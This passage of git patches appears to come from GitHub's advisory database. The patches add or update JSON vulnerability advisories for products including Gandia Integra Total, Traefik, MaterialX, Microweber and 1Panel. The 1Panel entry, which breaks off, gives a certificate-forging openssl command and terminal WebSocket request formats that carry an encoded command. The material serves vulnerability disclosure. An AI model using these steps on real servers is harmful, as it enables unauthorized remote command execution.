+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41376"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-gandia-integra-total-tesi"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-89"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T13:15:27Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-ggwp-w3gm-3cmw/GHSA-ggwp-w3gm-3cmw.json b/advisories/unreviewed/2025/08/GHSA-ggwp-w3gm-3cmw/GHSA-ggwp-w3gm-3cmw.json
new file mode 100644
index 0000000000000..1a25519aa0693
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-ggwp-w3gm-3cmw/GHSA-ggwp-w3gm-3cmw.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-ggwp-w3gm-3cmw",
+ "modified": "2025-08-01T15:34:18Z",
+ "published": "2025-08-01T15:34:17Z",
+ "aliases": [
+ "CVE-2025-41373"
+ ],
+ "details": "A SQL injection vulnerability has been found in Gandia Integra Total of TESI from version 2.1.2217.3 to v4.4.2236.1. The vulnerability allows an authenticated attacker to retrieve, create, update and delete databases through the 'idestudio' parameter in /encuestas/integraweb[_v4]/integra/html/view/hislistadoacciones.php.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41373"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-gandia-integra-total-tesi"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-89"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T13:15:26Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-m523-xm42-q7ff/GHSA-m523-xm42-q7ff.json b/advisories/unreviewed/2025/08/GHSA-m523-xm42-q7ff/GHSA-m523-xm42-q7ff.json
new file mode 100644
index 0000000000000..3c90718f0af03
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-m523-xm42-q7ff/GHSA-m523-xm42-q7ff.json
@@ -0,0 +1,37 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-m523-xm42-q7ff",
+ "modified": "2025-08-01T15:34:18Z",
+ "published": "2025-08-01T15:34:18Z",
+ "aliases": [
+ "CVE-2025-45767"
+ ],
+ "details": "jose v6.0.10 was discovered to contain weak encryption.",
+ "severity": [],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-45767"
+ },
+ {
+ "type": "WEB",
+ "url": "https://gist.github.com/ZupeiNie/705a606fbb99f3bb8c9b51e5bc13c91d"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/panva"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/panva/jose"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [],
+ "severity": null,
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T15:15:32Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-mvqq-3c4v-862v/GHSA-mvqq-3c4v-862v.json b/advisories/unreviewed/2025/08/GHSA-mvqq-3c4v-862v/GHSA-mvqq-3c4v-862v.json
new file mode 100644
index 0000000000000..1f085d698f7cf
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-mvqq-3c4v-862v/GHSA-mvqq-3c4v-862v.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-mvqq-3c4v-862v",
+ "modified": "2025-08-01T15:34:17Z",
+ "published": "2025-08-01T15:34:17Z",
+ "aliases": [
+ "CVE-2025-41370"
+ ],
+ "details": "A SQL injection vulnerability has been found in Gandia Integra Total of TESI from version 2.1.2217.3 to v4.4.2236.1. The vulnerability allows an authenticated attacker to retrieve, create, update and delete databases through the 'idestudio' parameter in /encuestas/integraweb/html/view/acceso.php.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41370"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-gandia-integra-total-tesi"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-89"
+ ],
+ "severity": "CRITICAL",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T13:15:25Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-mw9f-f52p-chpp/GHSA-mw9f-f52p-chpp.json b/advisories/unreviewed/2025/08/GHSA-mw9f-f52p-chpp/GHSA-mw9f-f52p-chpp.json
index 559e6752382db..a1dfe83c77db6 100644
--- a/advisories/unreviewed/2025/08/GHSA-mw9f-f52p-chpp/GHSA-mw9f-f52p-chpp.json
+++ b/advisories/unreviewed/2025/08/GHSA-mw9f-f52p-chpp/GHSA-mw9f-f52p-chpp.json
@@ -1,13 +1,18 @@
{
"schema_version": "1.4.0",
"id": "GHSA-mw9f-f52p-chpp",
- "modified": "2025-08-01T06:31:37Z",
+ "modified": "2025-08-01T15:34:17Z",
"published": "2025-08-01T06:31:37Z",
"aliases": [
"CVE-2025-8454"
],
"details": "It was discovered that uscan, a tool to scan/watch upstream sources for new releases of software, included in devscripts (a collection of scripts to make the life of a Debian Package maintainer easier), skips OpenPGP verification for files already downloaded even if a previous verification did fail.",
- "severity": [],
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
+ }
+ ],
"affected": [],
"references": [
{
@@ -20,8 +25,10 @@
}
],
"database_specific": {
- "cwe_ids": [],
- "severity": null,
+ "cwe_ids": [
+ "CWE-347"
+ ],
+ "severity": "CRITICAL",
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-01T06:15:29Z"
diff --git a/advisories/unreviewed/2025/08/GHSA-p3vv-cw8r-h94c/GHSA-p3vv-cw8r-h94c.json b/advisories/unreviewed/2025/08/GHSA-p3vv-cw8r-h94c/GHSA-p3vv-cw8r-h94c.json
new file mode 100644
index 0000000000000..df962a6604678
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-p3vv-cw8r-h94c/GHSA-p3vv-cw8r-h94c.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-p3vv-cw8r-h94c",
+ "modified": "2025-08-01T15:34:18Z",
+ "published": "2025-08-01T15:34:18Z",
+ "aliases": [
+ "CVE-2025-41374"
+ ],
+ "details": "A SQL injection vulnerability has been found in Gandia Integra Total of TESI from version 2.1.2217.3 to v4.4.2236.1. The vulnerability allows an authenticated attacker to retrieve, create, update and delete databases through the 'idestudio' parameter in /encuestas/integraweb[_v4]/integra/html/view/hislistadoacciones.php.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41374"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-gandia-integra-total-tesi"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-89"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T13:15:27Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-r246-8324-246f/GHSA-r246-8324-246f.json b/advisories/unreviewed/2025/08/GHSA-r246-8324-246f/GHSA-r246-8324-246f.json
new file mode 100644
index 0000000000000..a8347d6e638ab
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-r246-8324-246f/GHSA-r246-8324-246f.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-r246-8324-246f",
+ "modified": "2025-08-01T15:34:17Z",
+ "published": "2025-08-01T15:34:17Z",
+ "aliases": [
+ "CVE-2025-41372"
+ ],
+ "details": "A SQL injection vulnerability has been found in Gandia Integra Total of TESI from version 2.1.2217.3 to v4.4.2236.1. The vulnerability allows an authenticated attacker to retrieve, create, update and delete databases through the 'idestudio' parameter in /encuestas/integraweb[_v4]/integra/html/view/informe_campo_entrevistas.php.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41372"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-gandia-integra-total-tesi"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-89"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T13:15:26Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-v6qp-r53v-fvh5/GHSA-v6qp-r53v-fvh5.json b/advisories/unreviewed/2025/08/GHSA-v6qp-r53v-fvh5/GHSA-v6qp-r53v-fvh5.json
new file mode 100644
index 0000000000000..2573bf73e7f53
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-v6qp-r53v-fvh5/GHSA-v6qp-r53v-fvh5.json
@@ -0,0 +1,33 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-v6qp-r53v-fvh5",
+ "modified": "2025-08-01T15:34:18Z",
+ "published": "2025-08-01T15:34:18Z",
+ "aliases": [
+ "CVE-2025-46018"
+ ],
+ "details": "CSC Pay Mobile App 2.19.4 (fixed in version 2.20.0) contains a vulnerability allowing users to bypass payment authorization by disabling Bluetooth at a specific point during a transaction. This could result in unauthorized use of laundry services and potential financial loss.",
+ "severity": [],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46018"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/niranjangaire1995/CVE-2025-46018-CSC-Pay-Mobile-App-Payment-Authentication-Bypass"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.cscsw.com/disclosure-process"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [],
+ "severity": null,
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T14:15:35Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-xcwr-x5fm-7jmr/GHSA-xcwr-x5fm-7jmr.json b/advisories/unreviewed/2025/08/GHSA-xcwr-x5fm-7jmr/GHSA-xcwr-x5fm-7jmr.json
new file mode 100644
index 0000000000000..7ded2b83b1bbf
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-xcwr-x5fm-7jmr/GHSA-xcwr-x5fm-7jmr.json
@@ -0,0 +1,40 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-xcwr-x5fm-7jmr",
+ "modified": "2025-08-01T15:34:18Z",
+ "published": "2025-08-01T15:34:18Z",
+ "aliases": [
+ "CVE-2023-44976"
+ ],
+ "details": "Hangzhou Shunwang Rentdrv2 before 2024-12-24 allows local users to terminate EDR processes and possibly have unspecified other impact via DeviceIoControl with control code 0x22E010, as exploited in the wild in October 2023.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:L"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-44976"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/keowu/BadRentdrv2"
+ },
+ {
+ "type": "WEB",
+ "url": "https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-782"
+ ],
+ "severity": "LOW",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T14:15:34Z"
+ }
+}
\ No newline at end of file
From 456e619cca4ab7f36e010adb3553c4ed3b77f152 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Fri, 1 Aug 2025 16:01:28 +0000
Subject: [PATCH 294/323] Publish GHSA-wx6g-fm6f-w822
---
.../2025/07/GHSA-wx6g-fm6f-w822/GHSA-wx6g-fm6f-w822.json | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/advisories/github-reviewed/2025/07/GHSA-wx6g-fm6f-w822/GHSA-wx6g-fm6f-w822.json b/advisories/github-reviewed/2025/07/GHSA-wx6g-fm6f-w822/GHSA-wx6g-fm6f-w822.json
index 19e52cca5edf2..44403b34e31c5 100644
--- a/advisories/github-reviewed/2025/07/GHSA-wx6g-fm6f-w822/GHSA-wx6g-fm6f-w822.json
+++ b/advisories/github-reviewed/2025/07/GHSA-wx6g-fm6f-w822/GHSA-wx6g-fm6f-w822.json
@@ -1,13 +1,13 @@
{
"schema_version": "1.4.0",
"id": "GHSA-wx6g-fm6f-w822",
- "modified": "2025-07-31T19:37:48Z",
+ "modified": "2025-08-01T15:59:21Z",
"published": "2025-07-31T19:37:48Z",
"aliases": [
"CVE-2025-53009"
],
"summary": "MaterialX Stack Overflow via Lack of MTLX XML Parsing Recursion Limit ",
- "details": "### Summary\n\nWhen parsing an MTLX file with multiple nested `nodegraph` implementations, the MaterialX XML parsing logic can potentially crash due to stack exhaustion.\n\n### Details\n\nBy specification, multiple kinds of elements in MTLX support nesting other elements, such as in the case of `nodegraph` elements. Parsing these subtrees is implemented via recursion, and since there is no max depth imposed on the XML document, this can lead to a stack overflow when the library parses an MTLX file with an excessively high number of nested elements.\n\n### PoC\n\nPlease download the `recursion_overflow.mtlx` file from the following link: \n\nhttps://github.com/ShielderSec/poc/tree/main/CVE-2025-53009\n\n`build/bin/MaterialXView --material recursion_overflow.mtlx`\n\n\n### Impact\nAn attacker could intentionally crash a target program that uses OpenEXR by sending a malicious MTLX file.",
+ "details": "### Summary\n\nWhen parsing an MTLX file with multiple nested `nodegraph` implementations, the MaterialX XML parsing logic can potentially crash due to stack exhaustion.\n\n### Details\n\nBy specification, multiple kinds of elements in MTLX support nesting other elements, such as in the case of `nodegraph` elements. Parsing these subtrees is implemented via recursion, and since there is no max depth imposed on the XML document, this can lead to a stack overflow when the library parses an MTLX file with an excessively high number of nested elements.\n\n### PoC\n\nPlease download the `recursion_overflow.mtlx` file from the following link: \n\nhttps://github.com/ShielderSec/poc/tree/main/CVE-2025-53009\n\n`build/bin/MaterialXView --material recursion_overflow.mtlx`\n\n\n### Impact\nAn attacker could intentionally crash a target program that uses MaterialX by sending a malicious MTLX file.",
"severity": [
{
"type": "CVSS_V4",
From 44549464402156b7c973a76b61d09f6af0471f42 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Fri, 1 Aug 2025 18:10:25 +0000
Subject: [PATCH 295/323] Publish GHSA-q6gg-9f92-r9wg
---
.../GHSA-q6gg-9f92-r9wg.json | 125 ++++++++++++++++++
1 file changed, 125 insertions(+)
create mode 100644 advisories/github-reviewed/2025/08/GHSA-q6gg-9f92-r9wg/GHSA-q6gg-9f92-r9wg.json
diff --git a/advisories/github-reviewed/2025/08/GHSA-q6gg-9f92-r9wg/GHSA-q6gg-9f92-r9wg.json b/advisories/github-reviewed/2025/08/GHSA-q6gg-9f92-r9wg/GHSA-q6gg-9f92-r9wg.json
new file mode 100644
index 0000000000000..6fb7ddf8ef3e4
--- /dev/null
+++ b/advisories/github-reviewed/2025/08/GHSA-q6gg-9f92-r9wg/GHSA-q6gg-9f92-r9wg.json
@@ -0,0 +1,125 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-q6gg-9f92-r9wg",
+ "modified": "2025-08-01T18:08:15Z",
+ "published": "2025-08-01T18:08:15Z",
+ "aliases": [
+ "CVE-2025-54386"
+ ],
+ "summary": "Traefik Client Plugin's Path Traversal Vulnerability Allows Arbitrary File Overwrite and Remote Code Execution",
+ "details": "### Summary\nA path traversal vulnerability was discovered in WASM Traefik’s plugin installation mechanism. By supplying a maliciously crafted ZIP archive containing file paths with `../` sequences, an attacker can overwrite arbitrary files on the system outside of the intended plugin directory. This can lead to remote code execution (RCE), privilege escalation, persistence, or denial of service.\n **✅ After investigation, it is confirmed that no plugins on the [Catalog](https://plugins.traefik.io/plugins) were affected. There is no known impact.**\n\n### Details\nThe vulnerability resides in the WASM plugin extraction logic, specifically in the `unzipFile` function (`/plugins/client.go`). The application constructs file paths during ZIP extraction using `filepath.Join(destDir, f.Name)` without validating or sanitizing `f.Name`. If the ZIP archive contains entries with `../`, the resulting path can escape the intended directory, allowing writes to arbitrary locations on the host filesystem.\n\n### Attack Requirements\nThere are several requirements needed to make this attack possible:\n- The Traefik server should be deployed with [plugins enabled](https://doc.traefik.io/traefik/plugins/) with a WASM plugin (yaegi plugins are not impacted).\n- The attacker should have write access to a remote plugin asset loaded by the Traefik server\n- The attacker should craft a malicious version of this plugin\n\n### Warning\nAs clearly stated in the [documentation](https://doc.traefik.io/traefik/plugins/), plugins are experimental in Traefik, and unsafe plugins could damage your infrastructure:\n\n> **Experimental Features**\nPlugins can change the behavior of Traefik in unforeseen ways. Exercise caution when adding new plugins to production Traefik instances.\n\n### Impact\n**This vulnerability did not affect any plugin from the catalog. There is no known impact. \nAdditionally, the catalog will also prevent any compromised plugin to be available across all Traefik versions.**\nThis vulnerability could allow an attacker to perform arbitrary file write outside the intended plugin extraction directory by crafting a malicious ZIP archive that includes `../` (directory traversal) in file paths.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:P/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "Go",
+ "name": "github.com/traefik/traefik/v2"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "2.11.28"
+ }
+ ]
+ }
+ ],
+ "database_specific": {
+ "last_known_affected_version_range": "<= 2.11.27"
+ }
+ },
+ {
+ "package": {
+ "ecosystem": "Go",
+ "name": "github.com/traefik/traefik/v3"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "3.4.5"
+ }
+ ]
+ }
+ ],
+ "database_specific": {
+ "last_known_affected_version_range": "<= 3.4.4"
+ }
+ },
+ {
+ "package": {
+ "ecosystem": "Go",
+ "name": "github.com/traefik/traefik/v3"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "3.5.0-rc1"
+ },
+ {
+ "fixed": "3.5.0"
+ }
+ ]
+ }
+ ],
+ "database_specific": {
+ "last_known_affected_version_range": "<= 3.5.0-rc2"
+ }
+ }
+ ],
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/traefik/traefik/security/advisories/GHSA-q6gg-9f92-r9wg"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/traefik/plugin-service/pull/71"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/traefik/plugin-service/pull/72"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/traefik/traefik/pull/11911"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/traefik/traefik/commit/5ef853a0c53068f69a6c229a5815a0dc6e0a8800"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/traefik/traefik"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/traefik/traefik/releases/tag/v2.11.28"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-22",
+ "CWE-30"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-08-01T18:08:15Z",
+ "nvd_published_at": null
+ }
+}
\ No newline at end of file
From 13aac994e5854e0939919f877a6a95264fcdd875 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Fri, 1 Aug 2025 18:13:37 +0000
Subject: [PATCH 296/323] Publish Advisories
GHSA-782f-gxj5-xvqc
GHSA-8j63-96wh-wh3j
---
.../GHSA-782f-gxj5-xvqc.json | 39 ++++++++--
.../GHSA-8j63-96wh-wh3j.json | 76 +++++++++++++++++++
2 files changed, 108 insertions(+), 7 deletions(-)
rename advisories/{unreviewed => github-reviewed}/2025/07/GHSA-782f-gxj5-xvqc/GHSA-782f-gxj5-xvqc.json (55%)
create mode 100644 advisories/github-reviewed/2025/08/GHSA-8j63-96wh-wh3j/GHSA-8j63-96wh-wh3j.json
diff --git a/advisories/unreviewed/2025/07/GHSA-782f-gxj5-xvqc/GHSA-782f-gxj5-xvqc.json b/advisories/github-reviewed/2025/07/GHSA-782f-gxj5-xvqc/GHSA-782f-gxj5-xvqc.json
similarity index 55%
rename from advisories/unreviewed/2025/07/GHSA-782f-gxj5-xvqc/GHSA-782f-gxj5-xvqc.json
rename to advisories/github-reviewed/2025/07/GHSA-782f-gxj5-xvqc/GHSA-782f-gxj5-xvqc.json
index ae165c328083f..7ba17e41faf1d 100644
--- a/advisories/unreviewed/2025/07/GHSA-782f-gxj5-xvqc/GHSA-782f-gxj5-xvqc.json
+++ b/advisories/github-reviewed/2025/07/GHSA-782f-gxj5-xvqc/GHSA-782f-gxj5-xvqc.json
@@ -1,24 +1,49 @@
{
"schema_version": "1.4.0",
"id": "GHSA-782f-gxj5-xvqc",
- "modified": "2025-07-31T21:31:53Z",
+ "modified": "2025-08-01T18:12:32Z",
"published": "2025-07-31T18:32:04Z",
"aliases": [
"CVE-2025-51503"
],
+ "summary": "Microweber Has Stored XSS Vulnerability in User Profile Fields",
"details": "A Stored Cross-Site Scripting (XSS) vulnerability in Microweber CMS 2.0 allows attackers to inject malicious scripts into user profile fields, leading to arbitrary JavaScript execution in admin browsers.",
"severity": [
{
- "type": "CVSS_V3",
- "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L"
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N/E:P"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "Packagist",
+ "name": "microweber/microweber"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "2.0.0"
+ },
+ {
+ "last_affected": "2.0.19"
+ }
+ ]
+ }
+ ]
}
],
- "affected": [],
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-51503"
},
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/microweber/microweber"
+ },
{
"type": "WEB",
"url": "https://github.com/progprnv/CVE-Reports"
@@ -36,9 +61,9 @@
"cwe_ids": [
"CWE-79"
],
- "severity": "HIGH",
- "github_reviewed": false,
- "github_reviewed_at": null,
+ "severity": "LOW",
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-08-01T18:12:31Z",
"nvd_published_at": "2025-07-31T18:15:42Z"
}
}
\ No newline at end of file
diff --git a/advisories/github-reviewed/2025/08/GHSA-8j63-96wh-wh3j/GHSA-8j63-96wh-wh3j.json b/advisories/github-reviewed/2025/08/GHSA-8j63-96wh-wh3j/GHSA-8j63-96wh-wh3j.json
new file mode 100644
index 0000000000000..74ea77ce670e4
--- /dev/null
+++ b/advisories/github-reviewed/2025/08/GHSA-8j63-96wh-wh3j/GHSA-8j63-96wh-wh3j.json
@@ -0,0 +1,76 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-8j63-96wh-wh3j",
+ "modified": "2025-08-01T18:10:21Z",
+ "published": "2025-08-01T18:10:21Z",
+ "aliases": [
+ "CVE-2025-54424"
+ ],
+ "summary": "1Panel agent certificate verification bypass leading to arbitrary command execution",
+ "details": "### Project Address: Project Address [1Panel](https://github.com/1Panel-dev/1Panel)\n### Official website: https://www.1panel.cn/\n### Time: 2025 07 26\n### Version: 1panel V2.0.5\n### Vulnerability Summary\n - First, we introduce the concepts of 1panel v2 Core and Agent. After the new version is released, 1panel adds the node management function, which allows you to control other hosts by adding nodes.\n - The HTTPS protocol used for communication between the Core and Agent sides did not fully verify the authenticity of the certificate during certificate verification, resulting in unauthorized interfaces. The presence of a large number of command execution or high-privilege interfaces in the 1panel led to RCE.\n\n\n\n### Code audit process\n\n1. First we go to the Agent HTTP routing fileagent/init/router/router.go\n\n\n\n2. It was found that the Routersreference function in the function Certificatewas globally checked.agent/middleware/certificate.go\n\n\n\n3. The discovery Certificatefunction determines c.Request.TLS.HandshakeCompletewhether certificate communication has been performed\n\n\n\n4. Since c.Request.TLS.HandshakeCompletethe true or false judgment is determined by agent/server/server.gothe code Startfunctiontls.RequireAnyClientCert\n\n\n\nNote:：`Here due to the use of tls.RequireAnyClientCert instead of tls.RequireAndVerifyClientCert，RequireAnyClientCert Only require the client to provide a certificate，Does not verify the issuance of certificates CA，So any self assigned certificate will pass TLS handshake。`\n\n5. The subsequent Certificatefunction only verified that the CN field of the certificate was panel_client, without verifying the certificate issuer. Finally, it was discovered that the WebSocket connection could bypass Proxy-ID verification.\n\n\n\n6. Process WebSocket interface (based on the above questions, all processes and other sensitive information can be obtained)\nrouting address: /process/ws\nthe request format is as follows\n```\n{\n \"type\": \"ps\", // 数据类型: ps(进程), ssh(SSH会话), net(网络连接), wget(下载进度)\n \"pid\": 123, // 可选，指定进程ID进行筛选\n \"name\": \"process_name\", // 可选，根据进程名筛选\n \"username\": \"user\" // 可选，根据用户名筛选\n}\n```\n\n\n - Terminal SSH WebSocket interface (according to the above problem, any command can be executed)\nrouting address: /hosts/terminal\nthe request format is as follows\n```\n{\n \"type\": \"cmd\",\n \"data\": \"d2hvYW1pCg==\" // \"whoami\" 的base64编码，记住不要忘记回车。\n}\n```\n\n\n - Container Terminal WebSocket interface (container execution command interface)\nrouting address:/containers/terminal\n \n - File Download Process WebSocket interface (automatically push download progress information)\nrouting address:/files/wget/process\n\n### Attack process\n\n1. First generate a fake certificate\nopenssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj \"/CN=panel_client\"\n\n2. Then use the certificate to request verification. If the websocket interface is successfully connected, there is a vulnerability.\n\n\n\n",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "Go",
+ "name": "github.com/1Panel-dev/1Panel/core"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "1.0.0"
+ },
+ {
+ "fixed": "2.0.6"
+ }
+ ]
+ }
+ ]
+ },
+ {
+ "package": {
+ "ecosystem": "Go",
